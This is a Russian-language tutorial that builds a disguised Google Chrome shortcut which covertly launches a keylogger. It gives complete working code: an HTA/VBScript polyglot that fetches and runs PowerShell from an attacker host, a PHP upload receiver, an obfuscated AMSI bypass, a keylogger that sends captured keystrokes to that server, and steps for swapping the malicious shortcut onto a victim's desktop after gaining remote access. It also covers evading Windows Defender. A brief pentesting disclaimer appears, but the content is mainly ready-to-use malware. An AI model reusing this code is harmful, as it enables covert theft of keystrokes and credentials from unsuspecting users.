Мы уже не раз писали про создание кейлоггера для Windows. Сегодня продолжу тему клавиатурных шпионов и покажу, как создать обычный файл или ярлык, который будет скрыто запускать кейлоггер и отправлять перехваченные данные, набранные на клавиатуре, на удаленный хост.
Еще по теме: Как написать кейлоггер на C#
Создание и скрытый запуск кейлоггера на VBScript и HTA
Для скрытого запуска удаленного кейлоггера мы будем использовать так называемый полиглотный файл — тип файла, который может быть представлен в нескольких форматах и на разных языках. Для этого отлично подходит формат ярлыков (.lnk) так как он не показывает расширение файла, его можно сделать скрытым, легко изменить иконку и сделать полиглотным. Наиболее интересным аспектом ярлыков является возможность добавлять данные в конец содержимого, и при этом файл будет запускаться как обычно. Например, если у вас есть ярлык для Chrome, вы можете добавить произвольные байты, и он все равно откроет Chrome без ошибок.
Вся информация, методы и инструменты, описанные в данной статье, предназначены для обучения этичных хакеров (пентестеров). Использование представленной в статье информации для атак на частных лиц или организации без их предварительного согласия является незаконным. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши незаконные действия.
Чтобы воспользоваться этим преимуществом, нужно найти язык программирования, который сможет выполнять код в системе, будучи добавленным в другой файл с кодом на другом языке / формате. Хорошим выбором будет HTA — это программа Microsoft Windows, исходный код которой состоит из HTML, Dynamic HTML и одного или нескольких скриптовых языков, поддерживаемых Internet Explorer, таких как VBScript или JScript.
Из этого следует, что для выполнения кода можно использовать VBScript. Мы можем объединить файл ярлыка (Google Chrome) с файлом HTA (с помощью VBScript) для выполнения любых команд, сохраняя при этом работоспособность ярлыка после выполнения вредоносной команды.
Наша схема будет выглядеть так: запуск вредоносного ярлыка + HTA-файла + VBscript с командой PowerShell, которая запускается в памяти:
- Экспорт файла C:/temp/keylogger.txt на нашу атакующую машину.
- Запуск кейлоггера, который экспортирует данные в C:/temp/keylogger.txt.
- Открытие обычного Chrome.exe.
Эта схема позволит получать содержимое keylogger.txt при каждом запуске ярлыка Chrome, и при этом Chrome будет по-прежнему запускаться.
Создание шаблона файла ярлыка (.lnk)
Кликните правой кнопкой мыши на Рабочем столе —> Новый —> Ярлык —> Обзор —> Google Chrome (chrome.exe) —> Введите любое имя (в моем случае — Template).


Измените «Target» (Цель) в Template.lnk, чтобы запустить Google Chrome.lnk (вредоносный ярлык), а также Chrome.exe (обычный Chrome) с Рабочего стола.
|
1 |
cmd /c start mshta "%CD%\Google Chrome.lnk & start" "" "C:\Program Files\Google\Chrome\Application\chrome.exe" |
Измените «Start In» на %CD%

Создание файла code.hta с помощью VBScript
Теперь необходимо создать HTA-файл ( code.hta), который будет выполнять VBScript, который, в свою очередь, выполнит наш скрипт PowerShell. По сути, этот VBScript выполняет запуск файла keylogger.ps1, который будет описан ниже.
Можно обойти некоторые сигнатурные детекты, добавив произвольные элементы в файл HTA, приведенный ниже. Это полиглотный файл, поэтому он позволяет нам немного обфусцировать.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
<html> <head> <title>Выполнение скрипта PowerShell</title> <HTA:APPLICATION ID="oHTA" APPLICATIONNAME="Выполнение скрипта PowerShell" BORDER="none" BORDERSTYLE="none" CAPTION="no" CONTEXTMENU="no" INNERBORDER="no" MAXIMIZEBUTTON="no" MINIMIZEBUTTON="no" NAVIGABLE="no" SCROLL="no" SELECTION="yes" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" SYSMENU="no" VERSION="1.0" WINDOWSTATE="minimize"/> </head> <body> <job> <script language="VBScript"> Option Explicit Dim objShell ' Создаем объект WScript.Shell Set objShell = CreateObject("WScript.Shell") ' Подпрограмма для выполнения команды PowerShell непосредственно и затем закрытия HTA Sub ExecuteInMemoryAndClose() Dim strCommand ' Измененная команда PowerShell для загрузки и выполнения только keylogger.ps1 strCommand = "powershell.exe -nop -w hidden -c ""iex(New-Object System.Net.WebClient).DownloadString('http://192.168.0.64:8080/keylogger.ps1')""" ' Выполняем команду PowerShell objShell.Run strCommand, 0, False ' Закрываем HTA window.close End Sub ' Вызываем подпрограмму для выполнения команды PowerShell и закрытия HTA ExecuteInMemoryAndClose </script> </job> </body> </html> |
Теперь, используя Apache2 нужно создать веб-сервер, на котором будет находиться файл upload.php:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<?php $target_dir = "uploads/"; $base64_content = $_POST['fileContentBase64']; $file_name = $_POST['fileName']; // Убедимся, что каталог для загрузки существует if (!file_exists($target_dir)) { mkdir($target_dir, 0777, true); } // Декодируем содержимое из Base64 в бинарные данные $decoded_content = base64_decode($base64_content); // Определим полный путь для нового файла $target_file = $target_dir . basename($file_name); // Сохраняем декодированное содержимое как новый файл if (file_put_contents($target_file, $decoded_content)) { echo "Файл " . htmlspecialchars($file_name) . " был загружен."; } else { echo "Извините, произошла ошибка при загрузке вашего файла."; } ?> |

Создайте каталог uploads в том же месте, где находится файл upload.php, и измените права доступа на www-data для пользователя и группы. Затем запустите Apache на порту 80. И наконец, запустите сервер на порту 8080, чтобы отправить файл keylogger.ps1 жертве:
Создание вредоносного ярлыка Chrome.lnk
Итак, теперь у нас есть файл Template.lnk и файл code.hta, готовые к объединению в новый Chrome.lnk, который запустит сам себя и запустит как Chrome.exe (указанный в Target), так и code.hta (также указанный в Target).

Запустите командную строку на рабочем столе:
|
1 |
copy /b C:\Users\[username]\Desktop\Template.lnk+code.hta Chrome.lnk |

Теперь перенесите это на атакующую машину, чтобы выполнить с порта 8080.
Создание keylogger.ps1
Обход AMSI + отправитель файлов кейлоггера + кейлоггер
В моей предыдущей статье я уже показывали метод исправления AMSI.dll. Чтобы не выдумывать велосипед, просто создаем файл keylogger.ps1 и добавляем в него этот код:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
########ОБХОД AMSI (не обязателен)############ $c = 't' $Win32 = @" using System.Runtime.InteropServices; using System; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $nowhere = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c) $LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($nowhere)) $somewhere = [Byte[]](0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72) $notaddress = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($somewhere)) $notp = 0 $replace = 'VirtualProtec' [Win32]::('{0}{1}' -f $replace, $c)($notaddress, [uint32]5, 0x40, [ref]$notp) $stopitplease = [Byte[]](0xB8, 0x57, 0x00, 0x17, 0x20, 0x35, 0x8A, 0x53, 0x34, 0x1D, 0x05, 0x7A, 0xAC, 0xE3, 0x42, 0xC3) $marshalClass = [System.Runtime.InteropServices.Marshal] $marshalClass::Copy($stopitplease, 0, $notaddress, $stopitplease.Length) ########ОТПРАВКА ТЕКУЩЕГО ФАЙЛА KEYLOGGER.TXT НИЖЕ############ $uri = "http://192.168.0.64/upload.php" $filePath = "C:\temp\keylogger.txt" $fileContent = [Convert]::ToBase64String([IO.File]::ReadAllBytes($filePath)) $form = @{fileContentBase64 = $fileContent; fileName = 'keylogger.txt'} $response = Invoke-WebRequest -Uri $uri -Method Post -Body $form -ContentType "application/x-www-form-urlencoded" Write-Output $response.Content ########ВЫПОЛНЕНИЕ ЛОГГЕРА КЛАВИАТУРЫ В ФОНОВОМ РЕЖИМЕ НИЖЕ############ $path = "C:\temp\keylogger.txt" if ((Test-Path $path) -eq $false) {New-Item $path} $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru try { while ((Test-Path $path) -ne $false){ Start-Sleep -Milliseconds 40 for ($ascii = 9; $ascii -le 254; $ascii++) { $state = $API::GetAsyncKeyState($ascii) if ($state -eq -32767) { $null = [console]::CapsLock $virtualKey = $API::MapVirtualKey($ascii, 3) $kbstate = New-Object -TypeName Byte[] -ArgumentList 256 $checkkbstate = $API::GetKeyboardState($kbstate) $mychar = New-Object -TypeName System.Text.StringBuilder $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success -and (Test-Path $path) -eq $true) { [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally {exit} |
Вначале Защитник будет отмечать обнаружение на основе поведения, но после этого он не будет уведомлять пользователя. При первом использовании пользователь увидит небольшое всплывающее окно об обнаружении угрозы. В последующие разы, когда пользователь запустит ярлык, кейлоггер запустится без предупреждения о вирусе. Это связано с поведением VBScript при выполнении файла PowerShell.
Защитник Windows использует методы поведенческого анализа для выявления подозрительных действий. Например, если скрипт PowerShell пытается загрузить и выполнить файлы из Интернета, зашифровать файлы в большом количестве или использовать уязвимости системы, такое поведение может отобразить у пользователя предупреждение.
Сценарий использования
Допустим, вы получили RCE от имени администратора в CMD с помощью известного CVE и имеете нестабильную сессию PowerShell, поэтому вы отправляете reverse shell, который может обойти AV (обфусцированный), чтобы получить более стабильный shell.
Сначала удалите текущий Chrome.lnk и замените его нашим вредоносным Chrome.lnk.
|
1 2 3 4 |
$remoteUrl = “http://192.168.0.64:8080/Chrome.lnk" $destinationPath = "C:\Users\IEUser\Desktop\Google Chrome.lnk" Remove-Item -Path $destinationPath -Force -ErrorAction SilentlyContinue | Out-Null Invoke-WebRequest -Uri $remoteUrl -OutFile $destinationPath |
Затем создайте каталог C:\temp для файла keylogger.txt:
|
1 |
New-Item -Path C:\ -Name temp -ItemType Directory |

На атакующей машине у нас есть наш веб-сервер upload.php, запущенный на порту 80, и keylogger.ps1, готовый к работе на порту 8080, так что теперь нам остается только ждать, пока пользователь запустит ярлык.
Когда пользователь запустит Google Chrome, браузер откроется как обычно, но также выполнит скрипт keylogger.ps1 с нашего сервера. Наш кейлоггер теперь активен, а файл keylogger.txt пуст.
Затем, когда пользователь снова запустит ярлык, мы получим все, что он вводил с момента первого запуска Google Chrome. Файл keylogger.txt просто добавляется, так что мы не потеряем ничего из того, что было набрано пользователем. Проверяем каталог uploads на атакующем:

Теперь используем две нижеприведенные команды, чтобы можно было открыть его в Linux.
|
1 2 |
dos2unix keylogger.txt sed -i 's/\r/\n/g' keylogger.txt |

Это пока не идеальный вариант, но он показывает, что Защитник часто не справляется с угрозами, выполняющимися в памяти, и что ярлык на рабочем столе — это вполне действенный вектор атаки, которым могут воспользоваться злоумышленники.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как написать кейлоггер на Go
- Как написать простой кейлоггер на Javascript и PHP
- Использование pynput для создания кейлоггера на Python












